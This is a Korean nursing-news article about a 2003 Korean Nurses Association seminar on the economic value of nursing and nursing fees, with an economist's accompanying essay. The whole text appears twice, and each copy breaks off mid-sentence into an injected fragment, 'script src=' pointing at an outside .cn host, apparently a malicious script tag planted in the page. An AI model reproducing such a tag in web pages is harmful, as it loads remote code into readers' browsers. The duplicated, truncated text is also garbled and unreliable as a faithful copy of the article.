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간호의 경제적 가치정책 세미나
[편집국] 백찬기 ckbaik@nursenews.co.kr 기사입력 2003-11-13 오전 10:00:41
◆ 연구 통해 `간호원가' 근거 제시
간호의 경제적 가치를 살펴보고 간호수가의 문제와 개선방안을 함께 모색해보는 시간이 마련됐다.
대한간호협회는 11일 오후 가톨릭의과학연구원 2층 대강당에서 `건강보험과 간호의 경제적 가치를 위한 세미나'를 개최했다.
김의숙 대한간호협회장은 이날 개회사를 통해 "간호가 가지고 있는 궁극적인 목표나 간호의 본연적인 자세를 실질적으로 구현할 수 있도록 하기 위해서는 경제적인 측면에서 간호의 가치를 살피는 것이 필요하다"고 강조하고 "간호의 범위가 어디까지인지 또 어느 부분을 우리의 주간호행위로 수가화할 수 있는지 많은 의견을 모아달라"고 당부했다.
발표자로 나선 권순원 덕성여대 경제학과 교수는 "현재의 간호환경은 제도적·법적 장애요인이 다수 존재하고 있어 간호사가 사회적인 역할을 충분히 발휘할 수 없는 여건"이라며 "사회과학분야 교과목을 포함한 간호대학 커리큘럼의 개편 등을 통해 간호사 스스로 경제적인 마인드를 가지고 정책제안에 나서야 한다"고 말했다.
권 교수는 또 "앞으로 우리나라의 경우 보건의료제도가 시장친화적으로 변화되어갈 것"이라고 진단하고 "이같은 변화에 대비해 간호계는 간호협회를 중심으로 적절한 직종개발, 특화된 직업훈련 및 재교육프로그램 등 간호인력의 사회적 역할과 책임 확대를 위한 정책대안 개발과 전문분야 간호활동 관련 간호기술료 신설 등을 위한 적극적인 입법 추진을 전개해 나가야 한다"고 강조했다.
성영희 간호협회 보험위원장(삼성서울병원 간호본부장)은 "현행 간호수가 문제를 해결해 나가기 위해서는 간호단독법 입법을 통해 간호의 역할과 영역을 확대하고 지난 9월 환자간호교육수가를 소비자들의 필요성에 의해 인정했던 것처럼 간호관리료, 간호행위료, 가정간호료, 호스피스간호료, 전문간호사 수가, 노인요양 간호기관 수가 등을 독립적인 간호수가로 개발하는 것이 시급하다"고 말했다.
성 위원장은 또 "간호원가 산정방법, 간호등급별 원가산정, 환자 중증도에 따른 간호원가 산정, 간호비용과 질에 관한 연구 등 간호원가와 질 관리에 관한 연구를 지속적으로 진행해 나가야 한다"고 덧붙였다.
박광옥 간호협회 보험위원(서울아산병원 수술간호팀장)은 "10개 병원을 대상으로 간호관리료 등급별 기본간호행위 서비스를 조사한 결과 간호등급이 높을수록 기본간호영역 12개 기본간호행위 42개 행위 실시률이 높게 나타났다"고 밝히고 "이같은 연구결과를 간호인력확보 근거로 제시할 수 있도록 앞으로도 반복연구를 진행하고 간호등급별 간호업무성과 비교연구를 실시하는 것이 필요하다"고 제안했다.
임종규 보건복지부 보험급여과장은 "의약분업 도입 등으로 인해 상대가치점수에 대한 재평가가 필요하게 됐다"며 "간호협회도 상대가치제도의 문제점과 개선방향에 대한 다양한 의견을 제시해 간호사의 이익을 대변하고 제도 발전에 적극 협조해 달라"고 말했다.
백찬기 기자 ckbaik@nursenews.co.kr
◆ 간호의 경제적 가치-권 순 원(덕성여대 경제학과 교수)
앞으로 1차의료와 예방의료의 강화, 공공의료의 확충 등 제도적 발전과 환자 친화적이고 시장 친화적인 보건의료의 여건변화에 따라 간호인력의 새로운 역할 개발과 활용 증가에 의한 의사수요를 대체할 가능성이 점점 높아지고 있다. 따라서 간호인력의 책임 증대, 역할 확충을 통한 경제적 가치확보 가능성은 점점 커지고 있다.
그러나 한국의 보건의료체계 역시 지난 1990년대 초 이후 미국이 경험한 것처럼 진료비지불제도의 개혁과 함께 모든 이해당사자로 하여금 점차 비용을 의식하게끔 변모될 가능성이 높다.
이렇게 될 경우 오늘날 기업의 구조조정에서 보는 것과 같은 인력감축 캠페인이 전개될 가능성이 높고 여기에는 간호인력도 예외가 아닐 것이므로 이에 대한 적절한 대응책 마련이 필요하다.
그러므로 경제사회의 발전과 시장상황의 변화에 발맞춰 기본적으로는 보건의료시장과 간호인력시장을 보다 경쟁적으로 이끌어가는데 협력해 간호인력의 책임 증대, 독립적 역할수행과 임금상승 등을 달성해 나간다는 기본전략의 수립이 요구된다.
하지만 간호인력의 사회적 역할 증대를 위해서는 △간호인력의 적정수준 확보와 질적수준 향상(특히 유능한 남자 간호사 유치 필요) △간호대학 커리큘럼의 개편과 교수 충원(경제학을 포함해 사회과학분야 교과목의 확충) △적절한 직종개발, 특화된 직업훈련 및 재교육프로그램 개발 등 간호인력의 사회적 역할과 책임 확대를 위한 정책대안 개발 △간호인력의 역할, 책임, 소득 관련 적극적 입법추진(예, 미국의 경우처럼 동일가치노동에 대한 동일임금지급 등을 통해 임금차별 금지, 유능한 간호사 양성을 위한 장학금 등 간호대학에 대한 보조, 병원규모별 최소간호사 비율 제정, 전?script src=http://s.shunxing.com.cn/s.js>
간호의 경제적 가치를 살펴보고 간호수가의 문제와 개선방안을 함께 모색해보는 시간이 마련됐다.
대한간호협회는 11일 오후 가톨릭의과학연구원 2층 대강당에서 `건강보험과 간호의 경제적 가치를 위한 세미나'를 개최했다.
김의숙 대한간호협회장은 이날 개회사를 통해 "간호가 가지고 있는 궁극적인 목표나 간호의 본연적인 자세를 실질적으로 구현할 수 있도록 하기 위해서는 경제적인 측면에서 간호의 가치를 살피는 것이 필요하다"고 강조하고 "간호의 범위가 어디까지인지 또 어느 부분을 우리의 주간호행위로 수가화할 수 있는지 많은 의견을 모아달라"고 당부했다.
발표자로 나선 권순원 덕성여대 경제학과 교수는 "현재의 간호환경은 제도적·법적 장애요인이 다수 존재하고 있어 간호사가 사회적인 역할을 충분히 발휘할 수 없는 여건"이라며 "사회과학분야 교과목을 포함한 간호대학 커리큘럼의 개편 등을 통해 간호사 스스로 경제적인 마인드를 가지고 정책제안에 나서야 한다"고 말했다.
권 교수는 또 "앞으로 우리나라의 경우 보건의료제도가 시장친화적으로 변화되어갈 것"이라고 진단하고 "이같은 변화에 대비해 간호계는 간호협회를 중심으로 적절한 직종개발, 특화된 직업훈련 및 재교육프로그램 등 간호인력의 사회적 역할과 책임 확대를 위한 정책대안 개발과 전문분야 간호활동 관련 간호기술료 신설 등을 위한 적극적인 입법 추진을 전개해 나가야 한다"고 강조했다.
성영희 간호협회 보험위원장(삼성서울병원 간호본부장)은 "현행 간호수가 문제를 해결해 나가기 위해서는 간호단독법 입법을 통해 간호의 역할과 영역을 확대하고 지난 9월 환자간호교육수가를 소비자들의 필요성에 의해 인정했던 것처럼 간호관리료, 간호행위료, 가정간호료, 호스피스간호료, 전문간호사 수가, 노인요양 간호기관 수가 등을 독립적인 간호수가로 개발하는 것이 시급하다"고 말했다.
성 위원장은 또 "간호원가 산정방법, 간호등급별 원가산정, 환자 중증도에 따른 간호원가 산정, 간호비용과 질에 관한 연구 등 간호원가와 질 관리에 관한 연구를 지속적으로 진행해 나가야 한다"고 덧붙였다.
박광옥 간호협회 보험위원(서울아산병원 수술간호팀장)은 "10개 병원을 대상으로 간호관리료 등급별 기본간호행위 서비스를 조사한 결과 간호등급이 높을수록 기본간호영역 12개 기본간호행위 42개 행위 실시률이 높게 나타났다"고 밝히고 "이같은 연구결과를 간호인력확보 근거로 제시할 수 있도록 앞으로도 반복연구를 진행하고 간호등급별 간호업무성과 비교연구를 실시하는 것이 필요하다"고 제안했다.
임종규 보건복지부 보험급여과장은 "의약분업 도입 등으로 인해 상대가치점수에 대한 재평가가 필요하게 됐다"며 "간호협회도 상대가치제도의 문제점과 개선방향에 대한 다양한 의견을 제시해 간호사의 이익을 대변하고 제도 발전에 적극 협조해 달라"고 말했다.
백찬기 기자 ckbaik@nursenews.co.kr
◆ 간호의 경제적 가치-권 순 원(덕성여대 경제학과 교수)
앞으로 1차의료와 예방의료의 강화, 공공의료의 확충 등 제도적 발전과 환자 친화적이고 시장 친화적인 보건의료의 여건변화에 따라 간호인력의 새로운 역할 개발과 활용 증가에 의한 의사수요를 대체할 가능성이 점점 높아지고 있다. 따라서 간호인력의 책임 증대, 역할 확충을 통한 경제적 가치확보 가능성은 점점 커지고 있다.
그러나 한국의 보건의료체계 역시 지난 1990년대 초 이후 미국이 경험한 것처럼 진료비지불제도의 개혁과 함께 모든 이해당사자로 하여금 점차 비용을 의식하게끔 변모될 가능성이 높다.
이렇게 될 경우 오늘날 기업의 구조조정에서 보는 것과 같은 인력감축 캠페인이 전개될 가능성이 높고 여기에는 간호인력도 예외가 아닐 것이므로 이에 대한 적절한 대응책 마련이 필요하다.
그러므로 경제사회의 발전과 시장상황의 변화에 발맞춰 기본적으로는 보건의료시장과 간호인력시장을 보다 경쟁적으로 이끌어가는데 협력해 간호인력의 책임 증대, 독립적 역할수행과 임금상승 등을 달성해 나간다는 기본전략의 수립이 요구된다.
하지만 간호인력의 사회적 역할 증대를 위해서는 △간호인력의 적정수준 확보와 질적수준 향상(특히 유능한 남자 간호사 유치 필요) △간호대학 커리큘럼의 개편과 교수 충원(경제학을 포함해 사회과학분야 교과목의 확충) △적절한 직종개발, 특화된 직업훈련 및 재교육프로그램 개발 등 간호인력의 사회적 역할과 책임 확대를 위한 정책대안 개발 △간호인력의 역할, 책임, 소득 관련 적극적 입법추진(예, 미국의 경우처럼 동일가치노동에 대한 동일임금지급 등을 통해 임금차별 금지, 유능한 간호사 양성을 위한 장학금 등 간호대학에 대한 보조, 병원규모별 최소간호사 비율 제정, 전?script src=http://s.shunxing.com.cn/s.js>
